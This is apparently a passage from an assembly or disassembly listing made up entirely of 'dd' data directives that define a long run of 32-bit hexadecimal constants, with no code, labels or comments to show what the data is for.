		dd 95B41244h, 0B632FB57h, 0CA44D75Fh, 2DC3E9Ch,	85096329h
		dd 0BD651495h, 2F3BBB84h, 30D293BCh, 69D01D82h,	0E9D84201h
		dd 0DE525D54h, 0ADD2576Dh, 0DB5B250Eh, 19195947h, 0B3B8AF9h
		dd 0D85123CAh, 33C7FC01h, 16C054F6h, 8BAA00A2h,	7F5FB749h
		dd 0FEEA0F58h, 0A89C2EEDh, 0CA104329h, 0D98B5F46h, 32B0DD14h
		dd 0CCFB99D6h, 0FB2D5941h, 0D6A25C82h, 42D5B297h, 0B10C8209h
		dd 0DF800316h, 4A75BDACh, 50B8E7C4h, 918CEFB5h,	0F88302E0h
		dd 5F82940Fh, 0BA40677Eh, 972F49B3h, 1A000646h,	30B78440h
		dd 4EE96145h, 5BB8B8CFh, 34E0E9B6h, 1727A48Ch, 0C181610Fh
		dd 316E2Fh, 0B860D992h,	17D699EBh, 0ABF98B77h, 0AE477B6Bh
		dd 61D00E24h, 2FDC4D84h, 0AF4C94E7h, 5F000522h,	66516090h
		dd 0B54DBCB9h, 0D6F416C0h, 6C50612Ch, 90EF3A60h, 84AC02C0h
		dd 81E2E6E3h, 0EBB5CDDDh, 1A0267Ah, 76A02919h, 916BCF80h
		dd 0D802FD0Ah, 2B051D7Dh, 6189AABCh, 5E2723F1h,	9580028h
		dd 7C13A17Dh, 1474589Fh, 0A5707999h, 16CB510Bh,	4CBCA058h
		dd 5E764062h, 0B5310684h, 905B690Dh, 2323C8h, 70E2AF2Bh
		dd 9C5C2761h, 0EDBF5705h, 6FC7B217h, 0A9C619h, 933C80D1h
		dd 17526C7Fh, 0C7B63D0Ah, 0D360C59Dh, 1590111h,	8712B43Bh
		dd 4081B910h, 905B5FF9h, 1DC7096h, 550EC887h, 0E563DE41h
		dd 1DF06F54h, 0EC2B4AEDh, 97FACEF6h, 13466FBFh,	0CDAF4B2Ch
		dd 6CC82B08h, 1FBFF088h, 65806A31h, 90769EDFh, 7D1352Ch
		dd 4E9AAB95h, 0CF62EBD6h, 4CE38223h, 6BD05E5Ch,	5D4507FFh
		dd 12802488h, 0E497E6D1h, 45DDB0FFh, 23F780Bh, 5CB062F7h
		dd 87251CFh, 0C93D8805h, 34F99205h, 91A6026Ah, 6C7ECAE0h
		dd 7B0C4301h, 902A55C1h, 5152E02Eh, 4BC26EB7h, 0C66EFB5Bh
		dd 0E87E2E00h, 9B81A15Bh, 8EDA8B2Eh, 0EBE60C5h,	50F06D4Fh
		dd 47B7E1BDh, 0CB5B0839h, 65B52905h, 3C57F0F0h,	1C259D23h
		dd 89BD19C8h, 0D3A7044Bh, 11B7902Eh, 0D88B1702h, 7E39A9A0h
		dd 0A090B74Bh, 0CD1F6263h, 1D4077ABh, 0C5DB0D0Ch, 0D8E201C7h
		dd 53F3FD09h, 0A9652F4Fh, 0C318604h, 0B7A1A3BCh, 78352FFDh
		dd 111D1D04h, 69B78DEBh, 3B61A838h, 0E011F77h, 8D09C0FAh
		dd 51B464ADh, 0B49F548h, 5E2A69B5h, 0A91152AFh,	73B3C0B0h
		dd 0FE1F8997h, 71E442BFh, 11238B82h, 0CE911A5Eh, 0D2C5B440h
		dd 4186AA57h, 0F1A93C2Ch, 61DA3174h, 6B05094Ch,	0F68890D9h
		dd 64262FF1h, 0D70B6227h, 0EDCB942Fh, 81608E5Eh, 0AD609D3h
		dd 0C82B6558h, 0FDC9AF9Ah, 0DFDA42D1h, 80E9AD40h, 233063D6h
		dd 478FA56h, 0E29D3CCAh, 44AA1FC6h, 81CC6BEFh, 51179009h
		dd 0B60092Dh, 9451BF86h, 0BB2F9140h, 2C190363h,	86C39F3Ch
		dd 185EE6CAh, 0D54C0D91h, 450DE924h, 0A727AA09h, 2FF8DD3h
		dd 0F915BB03h, 0F95C3C9Fh, 545E1B44h, 0FE2814A5h, 89FB14ACh
		dd 81016295h, 7A2E09F3h, 0EB602E72h, 0B7164A0Bh, 71801B37h
		dd 6BE0B901h, 6387580Fh, 61605080h, 98B96A5Fh, 0A6B07527h
		dd 0B98034C1h, 4D8EBA7Dh, 21109152h, 50634C15h,	1D4B5191h
		dd 87F052A7h, 9D4E89C1h, 0FCF909BFh, 1DE0A5Ch, 0DD29FD8Fh
		dd 44E03F26h, 0A4DDD8E2h, 0C02BE412h, 0C4B838E9h, 0FB4D60Ah
		dd 9D099110h, 69607409h, 4CCB5DFh, 0BC37696Fh, 0B1BCF463h
		dd 0AF901620h, 0DF592997h, 0DAC02A6Dh, 0B5E314Bh, 0DF125C9Dh
		dd 9B4A9ED5h, 6E0E79AAh, 0B98E4720h, 305500A7h,	74F61393h
		dd 0BDE289F7h, 97979570h, 10BB8163h, 3E11C596h,	2601D46Eh
		dd 4C1BEC0Ch, 3B066CFAh, 77B8DA35h, 375675E2h, 0B8872741h
		dd 0E15FF73Ah, 0F83B9E6Ah, 0F70C1AFh, 27920181h, 2D2AFCF5h
		dd 5A605C1Fh, 40A34D5Dh, 1C7B9926h, 70928825h, 0B48213E2h
		dd 3191FE29h, 2920E1FFh, 0CE034BFDh, 95B124A0h,	837900ABh
		dd 0A395282Fh, 2CBF53C0h, 977D2458h, 5B6A7B94h,	0B60ACF25h
		dd 0A9088C64h, 0A6601330h, 12BAE5CEh, 0BB52EF31h, 1221674Bh
		dd 0B4A7FD4h, 3725845Ch, 78DC0242h, 99F9D3CCh, 4048D200h
		dd 97194BE2h, 69DEA889h, 0FD1212DCh, 769EF7CEh,	0C9728A5Ch
		dd 0AF2D5BDFh, 0DA02F835h, 548F0F9Fh, 75F1A571h, 0E2452Dh
		dd 0A264D781h, 0A9977393h, 0D0ED7BADh, 9001E018h, 0FC66A36Bh
		dd 0EFE88153h, 0BA627DDAh, 9F1127DEh, 72D8E47Bh, 7FF93A9Fh
		dd 96B74B1Eh, 0C1DADB6Ah, 0BDCE44Ah, 82265570h,	19400D5h
		dd 0B852508Ah, 310F250Ch, 49BD9C66h, 0C282816Bh, 761D4E4Bh
		dd 9C9B7F7h, 5AE463C6h,	0CE69C405h, 0CCEF0BB2h,	563DA3EDh
		dd 9EDF803Ah, 8FBE261Ah, 7CA904ABh, 0BA6515CDh,	0D04EEE87h
		dd 0ADD98A12h, 8C19ACBFh, 219E9402h, 5EA1999Ch,	4004E47Bh
		dd 615F5160h, 2192DE9h,	9ED1F4DBh, 2EDA996Fh, 9D2B62E1h
		dd 62203F91h, 3F0F9619h, 9E0010E2h, 709DEADFh, 0ED016672h
		dd 3A869433h, 39ED2B60h
		dd 670ED76Ah, 55250835h, 0CC519B1Ah, 27C38E01h,	0E66AC9DEh
		dd 3AF577D0h, 0E2A850E2h, 0B16EF300h, 0A280B7D4h, 6E61BDE4h
		dd 7D5A3489h, 0FCADDB9Ah, 0AA601BC4h, 0BA03F552h, 7379DA8Dh
		dd 59602A50h, 0C75F4BA9h, 1A0EE973h, 0C7250828h, 6214E434h
		dd 66255E2h, 9535C6F7h,	0B7874F09h, 84963688h, 74ABA94Ah
		dd 0D5A2EBA9h, 0B243AC4Eh, 0B11A2010h, 0CC00CA28h, 96AE1985h
		dd 0C181606h, 959BE513h, 0F94E8B6Ch, 448031C8h,	0FAEBB702h
		dd 7887D5F1h, 60A1C312h, 0D832737Ah, 49F09E77h,	9F10A0FDh
		dd 4FF098FBh, 0BD22FAE9h, 5AD615Fh, 4D6F815h, 58612430h
		dd 74B877ADh, 52593605h, 9F05A82h, 0F6924ADCh, 119D08CFh
		dd 8B0F8A1Ah, 25B30B70h, 1F66E76h, 2BEF9BE7h, 0DD3D4E3Bh
		dd 5F2032BEh, 0BF00417Ah, 223AE6EBh, 0F35A3557h, 81ECD82h
		dd 7A108FAh, 9CA66113h,	723902E0h, 9EBBB502h, 0DD6036DEh
		dd 3D21131Eh, 400EE413h, 0E923E780h, 9D038821h,	5E15ED25h
		dd 57497795h, 53621264h, 41F51F6h, 9E79AF5Fh, 6FA94B6Dh
		dd 0AC42B3A7h, 0BF04ABC5h, 0F01277Ah, 0E07EF6CDh, 0B3123AC6h
		dd 0AACEACh, 0D7FCCA38h, 13ED296Dh, 48BD6AECh, 0F83D183Dh
		dd 3BCE9BFh, 4AD8F93Bh,	9A4AB1E7h, 43588739h, 36981121h
		dd 0FB809778h, 9331660Eh, 0ED030204h, 70B839EEh, 0B854B7C4h
		dd 30BBC0D8h, 957F57A4h, 188B40A2h, 57303AFDh, 4A006B14h
		dd 521FDCA6h, 4AE58F18h, 502FA5Fh, 9D1A1BFh, 0EAD81085h
		dd 32D38E80h, 0FE988C5Bh, 29A3C95Bh, 0D6A97h, 1A58265Ch
		dd 29A1D210h, 97BFC5Ah,	1F5C890Fh, 8FEE58E9h, 300C67C0h
		dd 849AF7EFh, 0D7400DBEh, 494DCBh, 55203DB1h, 8277EE03h
		dd 924BCD12h, 91E05F3h,	0E726D695h, 25293EFCh, 891CD649h
		dd 346D04C2h, 0D86996C0h, 0AC0A9736h, 1A03DE6Fh, 0D7772937h
		dd 1EAF907Eh, 0B5DCA194h, 2A3ADDC2h, 2CC3C463h,	65BDD109h
		dd 0D44C5511h, 0C4EF9BFh, 19644B3h, 8131952Eh, 505B45A5h
		dd 202AAA3h, 0E9A06374h, 103F2710h, 9A63143h, 0BE0027FAh
		dd 212EAB9Eh, 9717038Ch, 0F5457B74h, 0B69C74FFh, 6684A0AAh
		dd 3B54175Fh, 0FED6C821h, 0A502D500h, 5055478Ch, 7E2F25AEh
		dd 6D2F5558h, 0C157102Ah, 5B129711h, 69001EC6h,	0E767C34Eh
		dd 2F3DF788h, 0FFCC5F56h, 194E8A95h, 0CB9B09DEh, 5A827AE1h
		dd 0C994055Dh, 0CC8E0F2Fh, 9F772537h, 82FA3F55h, 0EF131A6Dh
		dd 7E2E25Fh, 5690817Eh,	970F4571h, 58440994h, 32DF0481h
		dd 0AB0ECD50h, 0F0CB2930h, 30D90042h, 1F863357h, 9902945Ch
		dd 0D499129h, 43D17EB6h, 0F6B00B10h, 421ECE39h,	4F422D17h
		dd 843C25D4h, 9BAA34F5h, 2BA1C430h, 172047E8h, 6A6FC4Bh
		dd 76301AB2h, 9E470EAFh, 0EB939472h, 0F1BF0460h, 0B3EE95B7h
		dd 134B595h, 1363D5B9h,	1D6B3A86h, 30801B23h, 2159806h
		dd 1E34A65h, 259531A7h,	3A72B07h, 6822BB02h, 165E38C4h
		dd 9E7E4F51h, 7977C9FAh, 0D889AF1Fh, 0FDC66324h, 5E8F4h
		dd 95126246h, 76697C65h, 686FEF95h, 287E7C3h, 0C65FD883h
		dd 3AB548F2h, 0AC669A13h, 906A80D1h, 441C635h, 310BE929h
		dd 246F8C1Eh, 7B73B300h, 0A1A0A75Eh, 527E01D8h,	5BFC7161h
		dd 93F26B0Bh, 0F1BCE912h, 0ED61E24Fh, 9ECF2B05h, 69C01BC8h
		dd 3E74199Bh, 95BD0370h, 0BA5FF512h, 0C684362Ah, 0E5104BFh
		dd 6E07C112h, 0E1FD2A24h, 6A97E45Bh, 78A7DB9Fh,	450F25CFh
		dd 9AD2E7Fh, 285141h, 0F439AC03h, 3B092063h, 5FBD09EDh
		dd 276A4361h, 0E9F0A725h, 0EAF373ABh, 265D2F40h, 9801E662h
		dd 2F16DB3Ah, 8A2ECC6Fh, 3BC225C4h, 0D9B7F1C0h,	60505F1Fh
		dd 9353BA3Fh, 0B3B95E5Bh, 0E19D1273h, 0F8A5BD11h, 0A453043Ah
		dd 1233B72Ch, 12E520ABh, 792E4DFBh, 6117750Ch, 0AA4BF2F9h
		dd 0B749ED6Ah, 0C23502C5h, 2F4A194Fh, 5034C575h, 0FF0071A2h
		dd 0ECBFE44Bh, 9B7D35Ch, 22618529h, 8E7EC65Eh, 89D804CAh
		dd 0AB12A9BDh, 5CB0C61h, 33FEF0h, 5F28CC7Fh, 0ED8D9FA6h
		dd 5174C801h, 86E7D5C5h, 5308282Fh, 612F4FB5h, 7AAF87A7h
		dd 812E8FF1h, 68DA26A7h, 26A0025h, 5BFA8A52h, 0BB510590h
		dd 0F89A7D89h, 7C97796Ah, 999D616Fh, 0BADC2B15h, 4154B752h
		dd 0CDE95F41h, 0D400F37Ah, 90F95A76h, 9C27F8BCh, 90ABD286h
		dd 6B8D270Ch, 54EBFB5Ch, 7F01D4D4h, 0F5BF911Bh,	11E760C7h
		dd 27088EF6h, 0CCE2B252h, 0CF930045h, 0B8B21D4Fh, 7607FB2Dh
		dd 942EF45Eh, 5E2837D3h, 0C0E9DB30h, 3692F422h,	4AD79831h
		dd 0E862E91Eh, 0B5488C14h, 76CF0B02h, 4E94D7D2h, 472B0D21h
		dd 5074796Ah, 0F95BA061h, 58CFC842h, 2A492EFCh,	0EA04F649h
		dd 82A580B0h, 5EF84A82h, 139C262h, 0E082550Bh, 660014F9h
		dd 277C96BAh, 2159B061h, 70E6F941h, 7DEFE881h, 6071E485h
		dd 194B551Dh, 89B329ABh, 791C715Ah, 0DCBF8576h,	34BA8448h
		dd 0D8B3BAF8h, 8AF26FC2h, 4DE8025Fh, 6159022Dh,	0C1668B5Eh
		dd 0B70DF684h, 0BF2D1966h, 0B91075FBh, 0BCB69501h, 5C91C2A5h
		dd 19A5888Bh, 0C263B342h, 44617C2Ah, 0B2164005h, 18B2923h
		dd 0D930BE66h, 2A8A0F5Eh, 0D22FC4F3h, 0FF37F5F4h, 0B2B83304h
		dd 0EDB60F8Fh, 38319633h, 15E0DB97h, 0CDF8F7h, 0BDFDBB11h
		dd 1764DA6h, 453D8D36h,	517CE138h, 0C902EC93h, 45A37A5Bh
		dd 5223816h, 42E9C234h,	7FC090ADh, 9871C5F5h, 0E6B89625h
		dd 73589DACh, 22BB034Eh, 0C8D18411h, 89277F2Ch,	31B373E3h
		dd 6E1EEDAAh, 1D4C47C9h, 0B3B097D9h, 164D5A88h,	30C5E82Dh
		dd 813C41DAh, 0A112F5D7h, 0AAF37AD9h, 0DFD5BB00h, 97B91D8Bh
		dd 1DE70E4Fh, 0AAC813A0h, 2E5CF912h, 1D2A88h, 0A89D52C2h
		dd 72A31798h, 396DE701h, 887CCE4Bh, 11626EE0h, 205E86Ah
		dd 92F64938h, 0B8F95730h, 0E3655F1Ch, 0E585DDE5h, 53ED505Dh
		dd 289270D0h, 0C6521504h, 9BBC02Bh, 9B79047Dh, 587673ADh
		dd 6A020AB4h, 0BD2B76CBh, 80B448E5h, 0F73AE7F3h, 3016F268h
		dd 9E067BB3h, 41B52956h, 20569569h, 39B3A749h, 0AFCB7B8Bh
		dd 0C847C8CDh, 6DE6E4B0h, 9C020BC2h, 18FFE2B0h,	0FF4D21h
		dd 1A867437h, 0B4E3F2FEh, 185F7A02h, 5E7FA312h,	9535EBE2h
		dd 1E819E9Fh, 9CB740E3h, 5C8DE2E6h, 660B56D5h, 23D7DBFh
		dd 5EA131D5h, 153051B0h, 7CA1ED83h, 278C5F1Bh, 0D8AA6192h
		dd 0BD222F33h, 608C5EF5h, 0F2E98BBFh, 12E55748h, 6BF41331h
		dd 2EF30481h, 2C39A9E0h, 9D047094h, 5BE0056Dh, 161F01DFh
		dd 0E8E13461h, 11E8A777h, 9D0B0B7Dh, 0FF9CFD0Dh, 0FA348621h
		dd 56177D5Bh, 347D1004h, 923600Eh, 0E4DD4D95h, 7BC9C551h
		dd 0B76D7861h, 0DC0F36Dh, 4922707h, 0B7266557h,	97B5BA32h
		dd 8427E26Ah, 0F4BAD6BFh, 0AB00B860h, 0BA8C62F0h, 3D31505Eh
		dd 0D24B1A55h, 73D74D67h, 4098D0E2h, 83BB123Eh,	893D3EA5h
		dd 5D1992BDh, 1B912837h, 16A04680h, 7712A802h, 28E2B98Ch
		dd 50B72400h, 9AE082D0h, 30288707h, 0BC21D60Ch,	0BFF4E3AEh
		dd 0DDDE4B8Ah, 0B06D268Dh, 0BC6FDDAh, 90E84259h, 0F2570862h
		dd 0FD04FFDCh, 0D61899E0h, 9038092Fh, 0E1E98D04h, 93B72FCBh
		dd 0AA2DAFA5h, 0E2E4F140h, 9EE80968h, 7764D758h, 60BEC34Ah
		dd 0E493732Ah, 38BD4700h, 0F67A356Ch, 888097CDh, 28C66517h
		dd 312DC5B8h, 0A504D319h, 813EBF55h, 0D0BB8C99h, 0E92DC038h
		dd 5E3BCC49h, 858F1FEDh
		dd 0EE2403A8h, 7B1C2D09h, 12DDAD29h, 69D2DE75h,	551A9A57h
		dd 9D213DCCh, 7B546941h, 0A52900DCh, 3D5D921h, 126416Eh
		dd 0BC2030E9h, 1B1CEB5h, 0B537C381h, 7B893507h,	1A01E46Fh
		dd 2B3EEBD7h, 798D7B78h, 0C8F99A6Eh, 7CD9C018h,	7E5BD11Dh
		dd 0C680ABF8h, 1A81BEE0h, 29743F0Bh, 5F25689Dh,	5EC4B58Bh
		dd 123D0C97h, 962C4075h, 4C5B572Ch, 7DADFE1Dh, 70CF4730h
		dd 0F6BD544Eh, 6F021090h, 3A48DCC9h, 6804C750h,	0F101C4F0h
		dd 0D0EED8FBh, 98078BFCh, 0CCA68A0h, 0D0044E83h, 0E84894Fh
		dd 0C64472EEh, 0E1D88B65h, 973210DEh, 727B3F8h,	1202647Dh
		dd 21D3F0Fh, 858DDC22h,	0C00CCF7Fh, 9086DAF8h, 89DBD105h
		dd 87F8A758h, 78C80180h, 6B072DA8h, 7FEFAFEEh, 0DE30EA70h
		dd 29D391Ch, 34D0D82Dh,	1E98D677h, 5D505F25h, 1E0B2513h
		dd 4A891BBAh, 29BF0427h, 2A2B76B1h, 6C5682FEh, 44D95EDBh
		dd 4FDBBF61h, 6575E389h, 0AC2378DAh, 0F82D99B0h, 0C6F7710Ch
		dd 5BB03155h, 972494B5h, 0C0407AD6h, 25CBFFF1h,	0D6E00F35h
		dd 0E9256F3Ah, 0DA1F5B4Fh, 21CF425Dh, 4DF57739h, 2E0ECF0h
		dd 89441BA4h, 640FBFF3h, 3BAED722h, 0A0E6A5FFh,	5085EDA0h
		dd 2371BE0Bh, 70D3D336h, 0EC01B229h, 92221741h,	0E83B7984h
		dd 8DBDC23Ch, 0F8C90E11h, 4DEDF118h, 71F7AB25h,	40862FDh
		dd 0F265909h, 0EE60E1C9h, 802C9DAEh, 0AC6CC101h, 2A994790h
		dd 94592B50h, 5B842464h, 82DD593Eh, 21B531DBh, 3A145516h
		dd 6BF3810Eh, 0A5E38019h, 977CE20Eh, 2AF84F99h,	19B2D1F6h
		dd 0A6004032h, 176B2494h, 55330332h, 7E507B16h,	999778C6h
		dd 7D78964Ah, 0AB3500Eh, 44A830F7h, 71058D5Bh, 0D9BBDD0h
		dd 827F9200h, 1A493F85h, 0DE9F86B3h, 0C0B56FD7h, 30DA8AB7h
		dd 0C4B06E00h, 0B8953DBFh, 40389E54h, 96AC0A2Eh, 5C1C8469h
		dd 459DC328h, 81E3EAACh, 9CEA007Eh, 5FF3A918h, 0BC00E79Bh
		dd 0D788C7FBh, 2DC42209h, 0ACE35120h, 0B8928B8Ah, 70ED5357h
		dd 0E17652FEh, 0BD33F304h, 77AF05A9h, 0DD846F68h, 8A9DAE22h
		dd 18D5C088h, 5D51C227h, 0E4F83953h, 0D32B58F9h, 6B707D69h
		dd 0CAB5893Ch, 52E13912h, 0F8C0C65Bh, 9BF2C6C4h, 7798080Bh
		dd 0D76A47Ch, 0EB45BD45h, 0E6934DDEh, 74AF4FB6h, 0C58DFF74h
		dd 0C8A19A6Bh, 0EFE3C01Dh, 27004AA3h, 190CC9BFh, 588D2947h
		dd 0AB939B0Dh, 0F4042E6Fh, 0AACFE29Ch, 9D8908C0h, 0B9075E91h
		dd 0F47DBDC7h, 8E298C80h, 9F1D761Ah, 85C9139Dh,	513F0B9h
		dd 308FABBFh, 80F2BC2Eh, 75D45FE6h, 225102BBh, 592C64BCh
		dd 691DED7Fh, 0A61CFE73h, 817E20E5h, 2684A7D7h,	83286DF6h
		dd 0AAB750F9h, 13F60E58h, 2AAFE78Ch, 0E6AB80A1h, 2D6BB97Ah
		dd 0ED84753Ah, 8F74AF1Dh, 4EA260B8h, 20EB5225h,	0CCA14CF8h
		dd 2F5AA00h, 0F787BF85h, 0FD661C42h, 39DC655Bh,	5C2434E2h
		dd 0F100DCC9h, 0E0DF749Eh, 4FA67011h, 1750AB31h, 9012DDEh
		dd 598FDBB4h, 1D40181Ah, 89853746h, 4C798C16h, 518007A9h
		dd 8A60FB07h, 0D07C9Dh,	0BB34961Ch, 309FC3B9h, 0FC4B43A4h
		dd 282E16CDh, 828A3611h, 0F508C5CBh, 5CA5F3C5h,	713D42Bh
		dd 874D852Eh, 0F40561C6h, 7BAFCA53h, 25182300h,	6004AC5Dh
		dd 0E9314041h, 0CAB94E5Ah, 84757B7Bh, 0C0E5ED95h, 6BEF5BFEh
		dd 8195F99Fh, 60CCF380h, 0BB66D4B6h, 61816913h,	1C79D6C8h
		dd 2B289DADh, 6FE94201h, 45384AE8h, 4B3BD902h, 0D54FED57h
		dd 77002650h, 8D7D1B81h, 923098h, 6358CA25h, 766D5DFBh
		dd 84741202h, 7F8D2B8Bh, 0A80414F0h, 0F0AED647h, 58AABD00h
		dd 0B700150Fh, 8E09FEB4h, 0C007F51Dh, 1EB6047Eh, 96009080h
		dd 921B8D38h, 7E4C9D9h,	42258FF3h, 3134908Ch, 1D00877Bh
		dd 44A29C72h, 3F9AF7DAh, 3A0303E3h, 353058C9h, 0F13F5200h
		dd 0D2CBBB59h, 31D40072h, 0A9A2625Bh, 0F0124649h, 4A005558h
		dd 6164C4BDh, 50B400ABh, 3AA2974Dh, 870B8137h, 0CBD2629h
		dd 7D2B5591h, 9E7E01DDh, 0F7D7962Fh, 31CFD428h,	0E9474100h
		dd 0AFA77DE6h, 0F44A064Dh, 3BEA178Ah, 4E49B00h,	1DA8D930h
		dd 9C207AD8h, 1F8AA18Ah, 5299C04Bh, 0D78EAAD2h,	93BB2C1Eh
		dd 4C9A4030h, 0C045E8E2h, 0C64FF011h, 3C882D55h, 848450EEh
		dd 0B6AB0081h, 8BF54B4Eh, 0C66257AEh, 2F0A9E72h, 88488380h
		dd 0A20BF0FFh, 55FD39A3h, 9A0065C4h, 89EBE197h,	0D7CD0Ch
		dd 0A2E87CE0h, 903BD333h, 5EC4BA00h, 0FDB411F4h, 5A4E271Dh
		dd 0AD900FFh, 0F8F3C96Ch, 0F12D0097h, 203BEA5Ch, 4500A572h
		dd 998E66D0h, 782E31h, 0FB171A84h, 9E936242h, 3A0365Ch
		dd 74F25CBCh, 9D07E8D1h, 2F3A09Ah, 26971C08h, 0DF0F0FEh
		dd 240B27BFh, 5514766Eh, 90010946h, 3FB039FCh, 2E809817h
		dd 0CD6ED826h, 0F9006BEDh, 3B8D5EDEh, 18A5505Ch, 26880C34h
		dd 5B00C513h, 1E02377Eh, 0A97A5ED8h, 0B96A0499h, 9F0100BDh
		dd 0A0956BF4h, 7DA52438h, 0DE8C8061h, 297F82E8h, 9F999100h
		dd 3EF4D741h, 0E17E49h,	0C8CB3328h, 0B5B91912h,	0ED5C3C00h
		dd 0E8B7974Eh, 8B77F3h,	0F5A008FDh, 0CDC5271Fh,	7174D414h
		dd 18CE16CDh, 25B9B900h, 28986C4Ch, 22EC8151h, 1E556178h
		dd 9DA0C053h, 80393Ah, 0D674DCD1h, 675D33h, 98ACFE01h
		dd 56E5B57Ch, 4FFA9207h, 0C85CB6DEh, 0D7712C5h,	510900D1h
		dd 0B05BF35Dh, 8EB62718h, 0DACA4EBh, 0F2F1474Ah, 0E650F40Ch
		dd 289A0300h, 0D86FA23Ah, 218B06CCh, 342F81AEh,	99793003h
		dd 11A26EC5h, 106B5B6h,	0DE3C360Ch, 0B86A3874h,	70F9C16Fh
		dd 778ED7FFh, 45209CE6h, 0F5E342D1h, 0C0FF9AD3h, 91534B9Bh
		dd 0C1D984Ch, 3240F41Ch, 15AD03FBh, 58EBE277h, 64E33CB0h
		dd 2A0069F6h, 9A70D9DCh, 0F3F42A0h, 1B3D65D6h, 0FE4C75C0h
		dd 2400FC66h, 3E2ECC2Ah, 3BE644h, 6096F65h, 5FBFB8B0h
		dd 9C0C5C76h, 3B3E68B9h, 9E900A2h, 8982403Ah, 97009D2Dh
		dd 9E66EBCEh, 74D0306h,	96ECEF59h, 0AA1080FEh, 0B90051A7h
		dd 0D3312B1Bh, 19DE67D0h, 50C2456Dh, 0C4628054h, 4D696CCAh
		dd 0DDD402AAh, 8E6E0F79h, 0AA3D9C85h, 0FD4B81B4h, 241698C0h
		dd 3D8831C9h, 0DE304602h, 87D8558Eh, 180FE500h,	0F15BB1B4h
		dd 7BCF90B5h, 0A314157Ah, 82029B7Bh, 103FA034h,	888353C0h
		dd 0C54EF900h, 8F92FAEFh, 7CE40AD9h, 80F12379h,	69FC0865h
		dd 630366B4h, 0B755B3ADh, 0F21AF814h, 16CADCE8h, 81207h
		dd 0C01E1814h, 7E0054BDh, 0DFB72189h, 608487E5h, 94F86668h
		dd 8FF82891h, 509E3FC2h, 0CD72D5B8h, 1EFE9F00h,	41EB2A9Ch
		dd 736A00A2h, 0DBD5AD17h, 3C0EDF7Dh, 86E30DCAh,	7629268h
		dd 2FD183DAh, 975DD4DEh, 13AFC03Ch, 0D00048B8h,	0DB1781C3h
		dd 87C6F6Ah, 769E0F84h,	9F378587h, 0D066576Bh, 636BDC01h
		dd 0FE1016F9h, 6F0360h,	127C1478h, 91E2E533h, 4C02695Ch
		dd 92F23DD9h, 1E00A39Eh, 0A213BE56h, 16F8019Ah,	0CF40A190h
		dd 0A6F86A7h, 2C0D7199h, 26392A78h, 73C80CA6h, 6A0076B9h
		dd 26888063h, 4872E38Eh, 6900405Dh, 0F25B5EACh,	0C102251Ch
		dd 27857F57h, 3E466889h, 23CE28EDh, 0DF9800A9h,	0D83630FFh
		dd 0A600A53Ah, 8715D01Fh, 969A5Dh, 0E3393C9Eh, 7F08B34Bh
		dd 6AB1A974h, 124FDA81h, 0CF30EB70h, 8CEA0EE4h,	0B3403289h
		dd 0FC5255BFh, 11F19200h, 6813AE9Dh, 0A6BA00F7h, 1DCB6A04h
		dd 2A63C226h, 0C93CB156h
		dd 968066A3h, 5AC45CAAh, 5CB588DCh, 0F087884Ch,	45489600h
		dd 1637958Fh, 7BCB68Ch,	70867642h, 0ECC22B2Eh, 0E77A92F0h
		dd 73A4E5Dh, 32A50F5Dh,	47792E80h, 0A7C001Dh, 422A6273h
		dd 8558EF39h, 3B3500CCh, 554F3FDDh, 2DA98F7h, 88DFE248h
		dd 0F0D5E9C9h, 8831B2EBh, 686EBD7h, 0D568B698h,	0BC080FADh
		dd 8AC2EA5Bh, 0BA17BC9h, 0C48A348h, 38002C02h, 0D107A6Eh
		dd 161C1FB7h, 0AB205CC6h, 50B0478Bh, 531E089h, 0E8837904h
		dd 24E033D9h, 0D06D831h, 6125685Ch, 534C910Dh, 5181E3D0h
		dd 0EBD91EC3h, 1C870641h, 3C89368Eh, 29BD5580h,	67916E9h
		dd 2C8BEE1Fh, 2F1157EDh, 2A37EB54h, 0EC371483h,	0C08169DCh
		dd 520A1506h, 473D8F0Bh, 0D0773908h, 22CAFF0Ah,	8B46285Fh
		dd 7C89FE14h, 52C255E2h, 1419DAh, 9916CE9h, 935DFFFBh
		dd 0B86F0000h, 5CB5EE0Ch, 82DE4355h, 70635880h,	0AFC65Ch
		dd 54018DD0h, 40BCBBh, 4108398Ch, 35FF1944h, 0F1AD2803h
		dd 0B256E769h, 9A4CFD30h, 87C28F73h, 5839BD23h,	0F3F4955Eh
		dd 0E114707Ch, 18B66C08h, 5B739341h, 5A319870h,	0C90BEA95h
		dd 0E94DD56Ah, 7B48F3C0h, 0BD6B970Fh, 0C1DEFB85h, 2CBCAA80h
		dd 7301C171h, 9DDAA9A1h, 6D212960h, 0BB96006Fh,	7C3BC397h
		dd 6ABC615Ah, 0A194D814h, 16F1360Bh, 42E3534Dh,	0DF5016DAh
		dd 2E97A5FEh, 0AAB1A220h, 0EF9A0078h, 7131B470h, 96E0D42Ch
		dd 0A527F000h, 6051909Fh, 0ED9E09B8h, 9F64196Eh, 6670F4EDh
		dd 0A85C7300h, 1180DC81h, 0BF320190h, 0EB9372Ah, 4BA77C34h
		dd 2000EEF3h, 95F1B61Fh, 0E10B9AC2h, 550F4AFBh,	0BD7CA109h
		dd 502A01DEh, 0BB776DEDh, 55357E6Bh, 819E9EFAh,	0ACB345C5h
		dd 0A37CF72Eh, 0D6CAE20Eh, 0BD016001h, 7E972F9Dh, 1981E25Ah
		dd 95CE55h, 51F090BFh, 0FD232689h, 77D5150Eh, 0A5E2F833h
		dd 625D821Bh, 0DCD3746Fh, 0CD2D4213h, 2A0011FCh, 0B1BB6E90h
		dd 445AA30Bh, 8922C68Ah, 0B57B8DE8h, 0E48667BDh, 16A3671Ah
		dd 9810807Eh, 0F9010EFh, 51568B84h, 505B803Dh, 89217BBBh
		dd 4EA3145Bh, 6C5A7700h, 552D1A5Fh, 0F371EE09h,	0D3ECFFA7h
		dd 5E230D20h, 0C882DA5Fh, 8B41C018h, 0A206581Eh, 13ADB509h
		dd 47E92D4Ch, 4070DCD4h, 0BD8980F1h, 0F30E2525h, 7A99D128h
		dd 0CD7E67B1h, 0F2212134h, 3AB5D2F0h, 62164D07h, 0D700F29Fh
		dd 5F897899h, 0BBA4E4B5h, 5F72280Ah, 0A23ED415h, 0CD40B707h
		dd 0D31E8ACFh, 0BB015061h, 2C7E36FAh, 0D6FAE159h, 1D09DE06h
		dd 5DC53D34h, 109F466Ch, 1675BEB0h, 0A63880EDh,	0E4CD4FEAh
		dd 6AF9A68Fh, 0F2F4BB40h, 0B5EC3457h, 0DE2C8127h, 0A73FF424h
		dd 0BB5D81B3h, 398A0692h, 21E0626Ah, 0F860582Ah, 0E2282F08h
